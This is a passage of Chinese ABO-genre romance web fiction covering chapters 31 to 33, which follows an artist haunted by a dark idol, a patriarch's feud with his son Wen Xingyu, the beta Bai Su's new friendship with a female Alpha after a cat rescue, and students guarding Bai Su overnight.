许多Alpha甚至愿意以自己的全部身家只为换得莱利一笑,每次莱利的作品展出时更是无数人竞相购买,开出天价。 可他却只喜欢某些诡异难言的生物,对寻常人并无兴趣。 莱利也明白自己这样并不正常,但艺术家大抵都有自己的固执,他并不打算改变。 “我是你的,永远是你的。”男人赤红的眼眸在阳光下更加耀眼,像是与众不同的宝石。 莱利与他吻得难舍难分,片刻后眸里含着水光问:“再来一次吗?” 回应他的是重重的吮吸和吻。 响亮的奏鸣曲声响伴随着震动惊醒了莱利,令莱利猛地从床上坐起。 被褥凌乱,房间里唯一的光源便是他亲手制作的竹笼小灯。 除他以外,空无一人。 莱利有些无措,抬手时摸到了一手的粘腻。 他顾不上擦去,以另一只手接过电话:“你好,雷蒙老师。” 竹笼精致,八角的笼子内白色蜡烛的火光跳动着。 跳跃的火光映亮一旁靠墙摆放的神像,令它漆黑像身镀上一层橘红色的光芒。 那神像漆黑眼中似乎有猩红光芒随着火光而闪动,其具体的雕刻细节被隐没在阴影里,看不真切。 半年前,莱利在东南亚旅游采风时偶然得到了一尊据说能够提升艺术灵感的神像。 寺庙里僧人特意将这尊神像送给他,满脸急切言之凿凿说听见了神的呼唤,恳求他成为下一个侍奉神像的人。 神像通体漆黑,面部像是被一层黑雾笼罩,看不清面容。 与莱利平日里见过的那些带着金光,或慈眉善目或横眉怒目的佛像并不相似。 起初莱利也有些不安,但回来后自己很快做了好几个复杂混乱的梦,因此有了停滞许久的画作灵感,便开始信这个神像确实有用。 但自从那时起,这种幻觉就总是出现,逐渐地已经让他分不清现实与梦境的区别。 莱利明知这样危险,却又贪婪地迷恋着这样的幻觉。 “好的,画作我已经完成了大半,可以参与到新的项目里。”莱利这样说着,将自己汗湿的额发捋到耳后。 竹笼内的白色蜡烛已经燃烧了大半,熔化的白蜡流淌在竹笼底部,烛心冒出浅淡黑烟。 因着是香薰蜡烛,黑烟并不呛鼻,散发着淡淡檀香气味。 一阵阴风吹过,蜡烛忽然灭了。 室内刹那陷入黑暗中,而那尊神像的手部悄然变动,一缕黑雾从中冒出,缓缓飘向床上的金发美人。 偏偏金发美人似乎毫无防备,白皙细嫩的小腿踢开被褥,暴露在微凉的空气里。 “校庆需要对墙体进行重新绘画是吗?”莱利握着手机的手指线条优美,惹得那团黑雾几乎是迷恋地萦绕在他如嫩葱般的指尖,细细舔舐。 莱利的手开始颤抖,指尖发红,沿着手腕一路蔓延。 好奇怪,怎么才刚睡醒,又出现幻觉了? 耳边老师的嘱咐还在继续,可莱利满脑子想的都是方才梦境里世外桃源中,他与那团黑雾抵死缠绵的种种片段。 冰凉粘腻的触感似乎还停留在他皮肤各处,令他忍不住想要发出shenyin。 如果“它”是真实存在的,就好了。 莱利脑海里恍然出现了这样荒唐的念头。 他下意识看向那尊黑暗里端坐的神像,耳边声音却再次将他的思绪拽回现实:“莱利?你在听吗?” “我在听,明白了,明天上午在学院楼下集合,对吗?”莱利抿唇,以牙齿紧紧咬着嘴唇,来让自己保持清醒 看来又得去麻烦医生了。 莱利这样想着。 *** 雕花木门洞开,一股淡淡的墨香迎面扑来。 书房的书架上摆满了古籍善本,从四书五经到诗词歌赋,从历史典籍到兵法策略,应有尽有。 透过木格花窗可以看到庭院中的竹林和假山,窗外的景致与书房内的文芳墨宝相得益彰。 几张纸被随手扔在书房正中央的金丝楠木桌案上。 “你们连一个毛头小子,都跟不住?”中年男人穿着深蓝色唐装,眉目间虽有几分苍老痕迹,但依旧英俊。 书桌前的人立刻鞠躬:“少爷出身特殊部队,拥有很强的反追踪能力,我们实在是跟不上。” “也是,凭他的两下子,肯定早就知道有人跟着。”唐装男人手里把玩着一串佛珠。 鞠躬之人连连称是:“少爷聪慧,我等比不上,也不敢太过于明目张胆,以免被他彻底厌烦。” 那位少爷脾气并不像表面看起来那般好,如若惹怒,恐怕他们连对方的半点儿踪迹都没法发现。 现在能找到些许蛛丝马迹,已经是那位在放他们一马,给他们前来复命的内容了。 “他最近身体状况怎么样了。”闻方赫垂眸,带着威严的目光扫过一旁垂着头毕恭毕敬的手下。 那西装男人着装干练,带着一副银边眼镜,回答道:“不太乐观,研究所那边已经通知他停药了,据说前几天柳家在学校里大闹的晚上,有人闻到了他信息素的味道。” 不怒自威的中年男人冷哼一声,手中佛珠敲在金丝楠木的桌案上,发出一声脆响:“真是出息了,哪怕易感期熬不过去,也绝不求家里帮忙。” “闻家何时亏待过他,一直以来都将他作为继承人培养,从来没像南宫家、钟离家那样把孩子们当成养蛊的巢穴,任由他们互相算计碾压!”闻方赫额头青筋暴起,“我闻方赫这个当爹的,更是从没愧对过他!” 此人正是闻行屿的亲生父亲,也是闻家背后的掌权人,坐拥生杀权柄,闻家也是整个联邦最为有权势的家族之一。 即便在当下上流社会流行多生孩子的氛围下,闻方赫名下也只有闻行屿和闻行浣两个孩子。 闻方赫一直不明白,为何闻行屿会如此厌恶家族,甚至到了再也不愿意回家的程度。 下属跟随闻方赫多年,自然清楚闻行屿离开闻家的种种秘辛,此时劝道:“少爷性格倔强,偏偏又能力极强,靠自己也在army里获得无上荣誉,光耀门楣。这样的天之骄子,不肯向家族服软,也是情理之中。” 他深知父亲都爱听别人夸自己孩子,便毫不掩饰地开始吹闻行屿的彩虹屁。 此处并无别人,闻方赫也不再隐瞒自己的脾气,想到近日里聚会旁人都带着孩子,只有他形影单只,越想越气:“好啊,他还真是说到做到。我这儿子,可真是个有骨气的。” 听着对方阴阳怪气的话,下属不敢再多言,只是默默听着自己的主子抱怨:“刚才我给他打电话,他也一副爱理不理的样子家族为了他付出多少,他全然不在乎!” 下属垂眸,心中却并非像刚才自己嘴上说的那样觉得闻行屿只是“倔强”。 他知道为什么闻行屿会做出离开闻家的选择。 刚来到闻方赫身边的时候,闻行屿还很小,那时闻行屿便是个看起来好脾气,实则很有想法的孩子。 后来闻行屿拒绝家族的安排,没有进入高校学习,而是独自去往特殊部队。 当时闻方赫暴跳如雷,想要把闻行屿捞回来,可是闻行屿却直接溜到邻国的战场上去,任凭谁也叫不回来。 特殊部队隶属于钟离家,由钟离家进行管理,闻家无法插手。 就这么过去了一年半载,还真让闻行屿在jun队里混出了名堂,成了有名有姓的“战神”。 闻家便也放宽了对闻行屿的限制,任由他留在特殊部队里。 只是后来,却发生了那样的事,令闻家差点失去第一顺位的继承人。 这样的代价,是闻家不能接受的。 当时闻方赫的反应却异常平静,却也让下属此刻回想起来仍旧感觉冷汗涔涔:“不论用什么办法,就算要献祭上万人的性命,也必须保住我的儿子!” 佛珠质地清透,足足108颗,盘绕成圈缠在闻方赫手上,随着他的动作细簌作响。 一旁的案台上,摆放着一尊纯金佛像,佛像慈眉善目端坐,散发着几乎神圣的光。 书房里具有许多佛学元素,若不是闻方赫眉宇间满含煞气,这书房倒像是属于某个虔诚佛教徒。 “今天,我非要和他好好算笔账,让他搞清楚谁是儿子谁是老子!” 很快,闻方赫的吩咐打断了下属的思绪:“他什么时候回来?你去接他一下,这么久回来,回家的路都不知道怎么走了” 下属立刻点头躬身:“是。” *** 午后的阳光懒洋洋地洒在教学楼的外墙上,本该是安静的休息时间,此刻教学楼外却闹哄哄的。 “哎!那只猫要掉下来了!” “快去接啊!用衣服接!” “我去三楼捞它!我过去!” 一只毛茸茸的奶牛猫,不知怎的被困在了教学楼的外墙上。 它的处境看起来十分危险,因为它正试图在狭窄的窗台边缘寻找平衡,而这个窗台离地面足足有好几层楼高。 猫咪的身体紧绷,耳朵向后平贴,一双大眼睛里充满了紧张和恐惧。 它的爪子紧紧抓住墙面上微小的凸起,每一次挪动都显得格外小心翼翼,生怕一不留神就会失去平衡,坠落下去。 楼下围观的人越来越多。 学生们从窗户探出头来,目光紧盯着那只可怜的小猫。 围观的人群里有的人拿出手机,焦急地拨打着求助电话;有的人则试图用温柔的声音安抚猫咪,希望它能够保持镇定。 它看起来才几个月大,骨瘦嶙峋,也不知是怎么爬到那么高的地方去的。 白苏停下了匆忙的脚步,忧心忡忡地看向粉色外墙上的已经被吓得飞机耳的小猫。 虽然大家都是出于好意,可是那只猫显然胆子很小,现在已经吓得背脊拱起并且炸毛了。 如果有人从围栏伸手去抱那只小奶牛猫,说不定反而会吓到奶牛猫,让它直接往下跳! 白苏赶紧脱下外套,随便抓住一个旁边的人:“我们用衣服拉起来,这样就算猫跳了,我们也能把他兜在衣服里。” 被随机选中的女人回头,看见白苏焦急面容时肉眼可见的一怔:“叫我?” 白苏也是一愣。 这所学校是贵族男校,里面的学生无论ABO都是男生,而眼前的女人容貌精致美丽,虽然身材高挑,但无疑是个女人! 而且他之前见过她几次,远远的,都还以为对方只是个长相雌雄莫辨的男beta 毕竟这所学校里长得很漂亮的男学生和男老师实在太多了。 此时对方开口,他才发觉这红发女孩声音清脆,一听便是女子声音。 但他顾不上这么多,只是点头:“对,我们一起把衣服拉开,我看那只猫就要往下跳了” “行。”红发女人比白苏还要高一些,此时立刻挽起衣袖,露出结实有力的手臂,将白苏的外套抖开。 两人将外套展开与地面平行,站在屋檐下不远的位置,看着楼上那只摇摇欲坠的小猫。 它实在太小了,瘦得只剩下一把骨头,小得白苏觉得自己随手就能抓住。 “要是接不住怎么办。”白苏还从没经历过这样的紧急状况。 那红发女孩轻笑一声:“能接住,别怕。” 白苏之前见对方都是在喂猫的时候,知晓对方也是爱猫人士。 这样笃定的语气,在这样令人不安的焦灼时刻,总是能让人安心些许。 “嗯。”白苏应了一声。 就在这千钧一发之际,有人从三楼的围栏伸出手臂,想要抓住那猫,却一把扑了空! 小奶牛猫太过害怕,便纵身一跃,在空中调整了姿势,想要直接落地。 霎时间周围一片惊叫声。 白苏还没反应过来,就见外套落下,那红发女生已经将外套和里面的猫抱了个满怀,带着笑意看向白苏:“接到了。” “谢谢。”白苏与她面对面站着,恰巧与那钻出外套的小奶牛面面相觑。 大眼瞪小眼,好不滑稽。 红发女生露出一个浅淡的笑容,望向白苏时深红色眼眸里有阳光在闪动:“你看,我说过,能接住的吧。” 见猫没事,周围响起热烈的欢呼声,还有人开始唱歌,载歌载舞的。 奶牛猫全然不觉地用粉爪子扒拉开红发女人的手,纵身一跃落在地面,傲娇地跑掉了。 并没有要报恩的意思。 白苏见猫已经无碍,便从红发女人手里拿过外套,顺口夸:“你身手真不错啊。我记得你,之前我看见你也在喂流浪猫,你也是救助流浪猫的小组成员吗?” 红发女人点头:“是的,我也记得你。” “我见过你很多次,”红发女人依旧凝视着他,饶有兴味的,“你每天下午和早上,都会在钟楼下喂流浪猫。” 纤瘦单薄的青年蹲着,将冒蒸汽的温热猫饭倒进饭盆,满脸温柔地望着那些小猫狼吞虎咽。 晨曦的阳光落在他精致明媚的侧脸,好看得像是一副价值连城的画。 直到今日,红发女人才发现,这个漂亮的青年只有在看着猫时会露出那样柔软的表情,看着自己时则带着淡淡的疏离。 让她心中有种,难以言喻的失落感。 “啊哈哈,是吗。”白苏没想到有人竟然会注意到自己每天也去喂猫。 但这不就恰好说明了,这个女生也每天都去喂猫吗! 白苏心中对这个女孩的好感瞬间上涨了。 猫门!爱猫的肯定是好人! 红发女人笑了笑,眉目间带着几分异域风情,附身看着白苏:“我也很喜欢猫,经常喂流浪猫,所以我想请你吃个饭,可以吗?” 第32章 第 32 章 如果情敌是漂亮女Alp…… 女孩的头发是鲜艳明媚的红色, 如同秋天里最炽热的枫叶,又似夕阳西下时天空中燃烧的晚霞。 她的脸庞被衬托得格外精致,皮肤白皙透明, 几乎可以看到细微的血管。 阳光在她脸上投下柔和的阴影,使她的五官更加立体。 眼睛清澈明亮,嘴唇微微上扬, 朝着白苏露出一个温暖而自然的微笑。 白苏愣住, 没太懂这个逻辑的展开顺序:“啊?” 也经常喂流浪猫,和请他吃饭之间有什么必然的联系么? 白苏此前参加过流浪猫救助小组的聚餐活动和团建, 但当时来的大多是学生,并没有看见这个女孩。 这所贵族男校没有女生,所以她肯定是教职工。 “我见过你很多次了,但是都没有和你说话打招呼来着,”女生大剌剌笑着,向他靠近了些, “我作为一个e人, 这当然是不行的呀。” 女生靠近后高大身躯几乎要拢着他一般, 酒红色长发拂过他的耳际。 白苏这才发现, 这女生看起来身量纤细,但竟然比自己还高! 完全是个八头身的模特身材! 白苏很少和女生靠得这么近,顿时脸上发热地向后退:“那现在已经说过了啊。” “刚才我们共同完成了一个有意义的壮举!难道不值得一起吃饭庆祝庆祝吗!”红发女孩冲他wink一下, 浅红色眼睛在阳光下熠熠生辉。 白苏是个吃软不吃硬的人, 对方都说到这份上了,他自然也不会拒绝:“嗯,那好呀。” 他没什么朋友,作为i人都是等着e人来捕捉他作为朋友。 此时难得有野生的e人来捞他做朋友,那他也不必拒绝。 他不喜欢靠近那些压迫感很强的男Alpha, 以免自己被当成菜。 但是对待beta和omega,白苏自认为还是十分友善的。 两人并肩来到张灯结彩的食堂,女生在路上对白苏自我介绍了一番,白苏便得知对方名叫赫菲斯·佐伦,是生物科学学院的一名老师。 虽然据对方所说才刚来学校几个月,但路上和她打招呼的人却挺多。 大概是因为赫菲斯长得确实漂亮,身段脸颊都是超模级别,偏偏还靠才华吃饭。 白苏很是佩服这样的人,但莫名感觉对方虽然笑着和别人打招呼,但大部分时候视线是落在自己的脸上的。 明显的,打量的,目光。 还没等他开口,赫菲斯便先问了:“白医生,你真的是beta么?” 白苏:? “是啊。”白苏有些莫名其妙,“你不是吗?” 在他看来赫菲斯也是beta,既没有Alpha那种与生俱来的强势压迫感,也没有Omega那股养尊处优的娇气感。 赫菲斯眉毛一挑,神色有些复杂,但到最后只是笑了一声:“呵。” 白苏心想难道自己是猜错了所以她在不高兴么? 也是,有些Omega觉得自己的性别尊贵是稀有货,是不愿意被误认为是Beta的。 “抱歉,我闻不到信息素的味道,就是随便说的,你长得很好看,确实”白苏不知道该怎么形容。 该说Omega天生就长得好看么? 可白苏总觉得这样的刻板印象,很讨人厌。 赫菲斯只是安静看着他,似乎在观察他的反应,此时见他语无伦次才笑着说:“好啦,不逗你了,我是Alpha哦。” 女孩笑起来潇洒帅气,带着种不羁的松弛感。 “你是Alpha?”白苏几乎有些不敢相信。 白苏忽然意识到,对方是个女Alpha。 女Alpha的数量比男Alpha要少一些,白苏此前很少接触到她们。 女Alpha大多身材非常高大,和男Alpha相近,而且面容也会非常硬朗,说话声音粗犷有力。 赫菲斯的声音却清亮温柔,确实和刻板印象里的女Alpha不一样。 如果不是她自己主动提起,白苏大抵会一直觉得对方是个beta。 这种感觉很难用言语形容,像是一种气场,自然而然从Alpha身体里散发出来,形成独特的领域。 白苏能感觉到赫菲斯有这样的气场。 赫菲斯歪头看他:“不相信吗?但是真的哦。” 白苏:“啊。” “你长得真漂亮,刚才那样也很可爱。”红发女人看着他,深红色眼眸里倒映着白苏的脸。 白苏:“” 他感到有些不妙,因为对方开始无意识释放信息素了。 是醇厚的红酒香味。 然而就在白苏有点害怕的时候,赫菲斯却往后靠向靠背,像是在表明界限:“抱歉,我就是随口说说,表达自己的感受,我习惯这样了,吓到你了?” “没事,我只是有点惊讶因为你和我之前见过的女Alpha,不太一样。”白苏这么说着。 若要说最近见过的女Alpha,那就是钟离曜的姐姐钟离昭。 钟离昭是符合白苏心里对女Alpha的印象的。 高大强壮,冷峻傲慢,像是无情的战争机器,随时会飞起一脚踹人。 说话时也冷冰冰的,带着命令语调,一副睥睨天下舍我其谁的模样。 和眼前笑容明媚柔软,一头长发的女孩全然不同。 “你觉得很惊讶?”红发女生笑了起来,“我和你想象中的女Alpha不同,对吧?” 白苏连忙摆手:“啊不不不,没有的事。只是我闻不到信息素,以为你也是beta。” 赫菲斯单手撑着脸,小臂线条紧致漂亮:“很多人都这么说,我没有那些Alpha高大强壮,信息素也很淡。” 说出这些话时红发女生却看起来很轻松,并没有失落。 Alpha和Omega的信息素不仅有味道之分,也有浓度之分,单位同样按照气体浓度,以毫克/立方米作为单位。 有些人虽然信息素本身味道浅淡,但浓度占优,依然会有更强的侵略性,也更能让其他人感觉到不适,尤其是Alpha。 信息素作为一种类似生物本能的产物,往往是彰显Alpha领域的象征,如果气味淡,势必会降低其作用,对于Alpha而言非常不利。 据说,也会在标记Omega时出现一些问题。 所以这种显得“雄风不展”的特质,很多人是不愿意为外人知道的。 但白苏观察赫菲斯表情,却觉得对方是真无所谓。 这样佛系的性格,白苏倒是觉得挺好的。 他安慰道:“但你是Alpha,那就是Alpha呀,不论他们怎么说,这是无法改变的事实。他们只是嫉妒你,有Omega的美貌,又占着这个性别罢了,哈哈。” “你觉得我长得好看吗?”赫菲斯眼睛亮起来,一脸求夸奖地看着白苏。 “好看呀。”白苏点头。 “我之后还能约你出来吃饭和玩吗?我才刚来,都没什么朋友”赫菲斯察觉到白苏的吃软不吃硬,立刻就开始撒娇了。 她观察了眼前的漂亮beta多日,今天正好给她逮到机会在对方面前露一手。 柔和精致的五官,灵动的大眼睛,小巧的脸颊,带着婴儿肥看起来软绵绵的。 赫菲斯用尽全部意志力才控制住自己没有直接伸手捏捏他的脸。 之前都是远远地看着,只感觉这beta气质特别,可今天近看,赫菲斯是越看越喜欢。 就算对方手里带着可能是什么追求者送的手链,赫菲斯也并不在乎。 beta又没法被标记,只要她加入竞争,最后谁能得到漂亮小beta的心,还是个未知数! 早就被目光化成的怪兽舔舐了整张脸的白苏全然不知对方心思:“行啊行啊,我们可以一起去喂猫。” 只觉得和赫菲斯在一起,也不像自己和百里枫、南宫槿他们一起那样,容易有种难言的压迫感,氛围很轻松。 再加上对方是爱猫人士,还是女生,压迫感瞬间变得更小了。 两人说说笑笑聊着学校里的流浪猫们吃了顿饭,偶然说起家人之事。 “真烦人,我绝对不会用那个破信息素匹配系统来找对象的!” “我姐现在闲得很,天天抓着我就是说这个事儿,不结婚又怎么了,真是的。” 赫菲斯家里还有个Omega姐姐,现在结婚了成天想着给自己相亲,于是忍不住抱怨了几句。 白苏不愿在朋友面前撒谎:“我是孤儿,从小在收容所长大的,可能不太能理解你们的感受,抱歉。” 赫菲斯没想到自己偶然的抱怨会让白苏提起伤心事,连连道歉;“对不起对不起,我” “没关系,你继续说你的。”白苏笑了笑,“他们大概也是觉得为你好,你如果是想找到真爱再结婚,那你可以跟他们好好沟通的。” “嗯。”赫菲斯点头,神色带着几分萧索,“其实,我已经让他们很失望啦。” “家里人他们觉得,Alpha就应该像闻行屿一样进入部队建功立业,或者是进入议会成为政要,他们并不在意我喜欢做什么。” Alpha是人群里组成部分的少数,往往能够凭借超乎寻常的身体素质和能力成为佼佼者,而这些本就出身不凡的Alpha更是早早被规划好了道路。 白苏也不太喜欢这种刻板印象和不尊重个人意愿的要求,比如要求Omega应该贤惠温柔、日后相夫教子,要求Alpha一定要强势威猛、保护他人等等。 只是白苏有个地方不明白:“为什么是像闻行屿一样?” 赫菲斯一愣:“因为他”女孩看着白苏迷茫带着疑问的神色并不似作伪,转了个话头,“你不是主城本地人?” “对,我是其他地方来的,怎么啦?”白苏问。 赫菲斯摇头,心想就算来自其他地方能够进入这所学校的职工照样非富即贵,又怎么可能不知道闻行屿和闻家? 她心里有些困惑,但并未说出,只解释道:“就是一个比喻,因为他是部队退役的,这个你应该知道吧?我之前看见你和他一起吃饭,你们挺熟的吧。” “嗯,是挺熟的。”白苏回答。 “他没有跟你说过他家的事?”赫菲斯家境不错,但并不知道闻行屿和闻家早已离心。 白苏蹙眉,仔细想想还真是:“没有。” 朋友之间,会一点儿家里的事都不提吗? 白苏忽然有些失落,如果不是赫菲斯的提醒,他没有去想过这方面的事。 可此时疑问在他心中驻扎,让他不由思考起来:闻行屿,是不是对所有人都自来熟,并没有把自己当成要好的朋友呢? 白苏垂眸,心中有些酸涩 自己似乎也没有立场去要求闻行屿必须把自己当成好朋友。 *** “校庆为什么会要我们系的学生加入巡逻队啊。” 断眉男生满脸不耐烦,抬脚将路肩的碎石踢开老远。 钟离曜站在他身边,颀长身形被昏黄路灯拉得很长:“随便走走吧,就当散步了。” 满地落叶,灯光萧瑟,公园里的长椅孤零零的,四周寂寥无人。 如若是个胆子小的人,一个人站在这里,估计都要被远处关了灯黑黢黢的窗口吓个半死。 但钟离曜和凌奈都是胆子奇大的人,因此并没有什么反应。 校庆来袭,学校变得越来越热闹,因为人流量增加,维持校园内的秩序和安全变得更加关键。 巡逻队伍扩招,不仅对外招聘,还把战斗系的学生也拉了进来,并且用最为关键的好处堵住了战斗系学生的嘴:【巡逻活动加学分和志愿时长】 要知道,对于大学生而言,学分与志愿时长是一种究极的诱惑,能让他们心甘情愿清早起来去捡狗屎。 “行吧。”凌奈瞥钟离曜一眼,心里嘀咕着:这家伙还真是无时无刻打扮得都那么正经。 整洁的手工刺绣衬衫搭配稍显柔软的深蓝色无袖毛衣,为他本显得正经的着装休闲了几分。 此时面容冷峻的男生单手插着口袋,另一只手不自然地扯了扯自己的衣服,然后向凌奈靠近两步:“手。” 凌奈身体猛地抖了一下,又强行按捺住,心里狂骂自己这么没出息。 不就是牵个手吗,至于这么发抖么! 出息呢! 明明钟离曜已经这样给自己“暖手”好几次了,怎么自己每次听到他问的时候还是会被吓到而且很紧张,心还跳得这么快呢! 真是太没出息了! 但断眉酷哥嘴上依旧诚实道:“哦哦。” 说着,将自己的手放进对方掌心,看着那只骨节分明的大手将自己的手握住,指缝契合,十指相扣。 这样的拉手方式,好似已经超出了原本最初暖手时仅仅是相握的亲密程度。 皮肤相互摩擦着,凌奈能感觉到对方的指腹和自己一样,都因为常年握着武器而磨出了厚而粗糙的茧,刮在其他部位的细腻皮肤上,激起一阵带着火花的、颤栗的麻。 两人拉着手继续向前走,路灯下的影子交叠在一起,亲密无间。 钟离曜眉头紧锁,似在思考着什么非常严肃的事关苍生社稷的大事,片刻后侧头问凌奈:“早上我不在学校,你吃早餐了么。” 是的没错,钟离曜用能够冰封千里的冷酷表情思考了半天,就是在思考该怎么打破沉默! 语调冷淡,对话内容平铺直叙,简直像是在审问。 若不是凌奈此时感觉到紧握着的那只手在以极小的幅度颤抖,肯定会以为钟离曜态度充满敌对。 就好似以前他们无数次对呛起来那样,充满误会。 但也好在此时他握着对方的手,才能真切感觉到身边那座不会表达情感的冰雕躯壳下滚烫的情感。 凌奈知道,钟离曜是在关心在自己。 于是他老老实实回答:“吃了,你不是跟我说,不吃早餐对身体不好么。” 他平时犯懒,如果早上有课,他肯定会睡到最后一刻才爬起来,理所应当就把早餐环节省略。 自从两人关系缓和又开始“暖手”后,钟离曜就开始经常给他带早餐,问也只是说:“买多了,你不要我就扔了。” 完全看不出任何意一丝关心的痕迹。 就如同此时此刻钟离曜的反应一样:“嗯。” 淡淡的应了一声,好像刚才问的时候也不过是顺口多嘴问的。 只有钟离曜自己清楚,他是绞尽脑汁才想出了这个问题,来让自己多和凌奈主动说几句话。 凌奈目光重新落在对方精雕玉琢的面容上,心想世界上为什么会有这么嘴犟的家伙。 可偏偏自己好似也不遑多让。 因为每次他接过早餐的时候说的都是:“呵呵,浪费粮食多可耻你不知道么,还是给我吃吧。” 凌奈想起那次自己错手伤了钟离曜,明明是因为担心才跟到校医室,却贱贱地说“真是娇气啊再晚点去校医院伤口都要自己愈合了”的时候,就感到自己和钟离曜也并没有什么区别。 他们是同一类人,如果不是种种巧合将他们分到相邻宿舍,又让他们总是相遇在竞技场,或许他们永远也无法像现在这样 拉着手,并肩走在花园的林荫小道上,心跳同频,亲密无间。 凌奈的身体不错,只是散步片刻手脚就重新暖和起来。 钟离曜感受到对方手指温度的变化后纠结片刻,似乎是做了激烈的心理挣扎然后想放开:“嗯,好像暖和了。” 凌奈察觉到对方握着自己的手力度松开,目光微动。 上一次,是钟离曜主动要拉他的手的,那这次就由他来克服自己的口是心非,主动向钟离曜踏出一步吧。 凌奈握着钟离曜的手紧了些,声音低沉,看着钟离曜的目光闪烁:“钟离曜。” “嗯?”钟离曜停下脚步看他,两人恰巧在路灯下站立,温暖光芒映亮两人同样俊美的脸颊。 凌奈轻声说:“就算手不冷,也可以拉着,不是么。” 钟离曜明显的一愣:“嗯。” 往日聪慧的冷面Alpha后知后觉反应过来凌奈说的是什么,刹那眸中出现不敢相信、茫然混杂的情绪 凌奈的意思,是想和自己牵手么? 凌奈唇角扬起,张嘴说话时虎牙尖尖:“如果你想牵手的话,不用问我,直接这么做就行了。” 凌奈断断续续说完这番话,自己的脸早已火烧火燎,彻底红了个透。虽然他对面那位高岭之花此刻的皮肤颜色,也与他红得不分高下。 *** 古朴的宅院静静地伫立,豪华不张扬,却透露出一种冷清和肃穆的气氛。 宅院的外墙由青灰色的石砖砌成,高耸的围墙将宅院与外界隔绝,只在铁门处留有一处窥探的缝隙,门上的装饰花纹繁复而精致。 门上方是一处雕花的屋檐,屋檐下挂着几盏带着历史厚重气息的风灯。 沉重的实木门轰然洞开,闻行屿穿过宽敞庭院、潺潺喷泉,路途中不时看见身穿灰色长袍来去匆匆的身影。 那些带着警惕的目光汇聚成网,落在他的身上,让他感到潮湿且恶心。 闻行屿讨厌这里,所以几乎从不回来。今天如果不是为了找人,他也不会回来。 这些宅院通过曲折的回廊相连,形成了一个迷宫般的布局。 闻行屿走了许久,才来到一座木制结构的三层楼房前,身穿传统唐装的眼镜男人已经在门前等候,此时毕恭毕敬道:“少爷。” 闻行屿不应,只是跟着他继续往前走,好似想走得比他快似的与他并肩。 但只有当事人知道,他听见一句轻飘飘的问话:“餮三,他想我重新接受NGC3712,是吗。” 带着银框眼镜的餮三神色一怔,目光隐晦扫过周围,没有应声。 闻行屿只看见他垂在身侧的手在衣袍下比了个“是”的手势。 用的是jun队里常用的、最广为人知的那种比法。 闻行屿神色一凝,却并未露出任何异状,只是继续向前走着。 书房里的男人透过耳机听着对话进行,只是轻笑了一声:“闻行屿,想要和你老子斗,你还是嫩了点啊。” “你以为你今天来了,真的能够轻易再次离开吗?” 第33章 第 33 章 亲吻睡美人 房间的色调以柔和的米色和温暖的浅褐色为主, 蕾丝窗帘轻拂窗台,几盆绿植在光斑中摇曳。 地板上铺着厚实的地毯,赤脚踩上去柔软而温暖。 床铺上的被子厚重而柔软, 此时隆起一大团。 “嗯他的意思是,就算我睡觉,你们也要站我旁边吗?” 柔软的被褥里, 白苏穿着棉质睡衣, 有些尴尬地看向床边站着的 钟离曜!凌奈!塔利亚!赫克托尔! 这四个战斗系的学生就这么齐刷刷水灵灵站在他床边,叫他怎么睡觉啊!! 凌奈是四人里和白苏最熟的, 点头:“闻哥吩咐的是,让我们一直贴身跟着你,就算你洗澡,也要隔五分钟问一次。” 其余三人纷纷点头,表示就是凌奈说的这样。 其中金发的赫克托尔也有些不好意思这样叨扰别人,难为情地转开了脸。 白苏:“” 从今天晚上九点开始, 凌奈等四个人接到了闻行屿的指示, 前来保护他。 但具体是保护什么, 闻行屿却没有说。 虽然白苏觉得他们四个都长相帅气, 但也不想在睡觉的时候看见他们杵在床边啊! 塔利亚和赫克托尔目光投向钟离曜。 钟离曜身份尊贵,是钟离家的少公子,还是学校学生会的会长, 他们下意识便以钟离曜为马首是瞻。 凌奈也看着钟离曜, 说:“我们这样站在人家床边,人家也没法睡啊。” 教师宿舍并不大,四个身高超过187的大男生排成一排站在房间里,本来就很有压迫感了。 尤其是四人里只有塔利亚一个喜欢嬉皮笑脸的,此时还因为是闻行屿吩咐的任务所以表情非常严肃。 凌奈觉得要是躺着准备睡觉的人是自己, 也肯定睡不着。 钟离曜自己也觉得有些尴尬,便说:“赫克托尔阳台警戒,塔利亚门口玄关警戒,我和凌奈各守一个窗户。” 这个布置很严密,具有战术性,恰好把能够进入宿舍的各个入口都放了看守,保证了没有人能够在他们不知情的情况下进出宿舍。 白苏蹙眉,不知道究竟发生了什么:“到底怎么了?为什么突然要你们过来呢。” 他目光落在那身材高达一米九非常强壮的大一男生身上,恰好对上大男生清澈且愚蠢的眼眸。 果然是大学生! 这眼神里完全就写着“一个三块三个十块,我买三个”的呆萌! 塔利亚上回联系上闻行屿后,闻行屿便表示会替他瞒下此事。 塔利亚自然是从此成了闻行屿的小弟,当牛做马不在话下。 赫克托尔同样感激闻行屿没有告发自己,否则多年来为了进入战斗系的努力都将付之东流。 今日,他们也和钟离曜、凌奈一样,原本正在校园里进行巡逻,被闻行屿一通电话叫来了这里。 见白苏看着自己,塔利亚迷茫摇头:“闻哥没告诉我们原因,只是让我们过来,在48小时内,贴身跟着你。” 四人纷纷摇头,钟离曜作为类似“领队”的人物,在此刻也只是重复了方才白苏问他时回答过的答案:“他说会不安全,必须贴身跟着。” 答案非常言简意赅。 白苏只好说:“好吧,那你们先坐会儿。” 钟离曜和凌奈互相对视一眼,却比塔利亚等人想得要更多一些,白苏和闻行屿的关系,他们非常清楚。 被叫来的几个人也是闻行屿信任的下属学生,那究竟会发生什么,让闻行屿会提出这样几乎有些不合情理的要求呢? 这说明,一定是有什么要发生了,而且会威胁到白苏的人身安全,甚至性命。 “就按照我安排的去做吧,大家辛苦一下,也就是两天的时间,和出任务差不多。”钟离曜再次吩咐。 凌奈面色凝重,难得没有提出质疑,按着钟离曜要求,走到房间的窗户下,默默坐下了。 钟离曜也走到厨房门前站定,颀长身影靠在门边,闭上了眼睛。 被这样看着,加上心里的不安,白苏更加睡不着了。 手机屏幕亮着,显示着拨号界面,上面“闻行屿”三个字闪烁着。 几分钟后手机仍旧响着忙音。 闻行屿没有接电话。 闻行屿在两个小时前给白苏发的消息很简单。 【我会派凌奈他们去保护你,你不要把他们赶走,这几天不太平。】 白苏不知道是什么事情会不太平,但闻行屿这么说得让他很心慌。 在这样焦躁的情绪影响下,他的睡意早已消失得无影无踪了。 凌奈盘腿坐在暖融融的地毯上,依旧隐晦地以目光去偷瞄钟离曜。 冷峻男生靠在门框上动作依旧挺拔不见一丝懒散,微微仰着头让脸部线条更加清晰立体,高耸鼻梁在脸的一侧落下大片阴影 这样仰视着,在昏暗光线里,大冰块的下颚线好性感。 凌奈忽然冒出这样的想法。 钟离曜有点头疼。 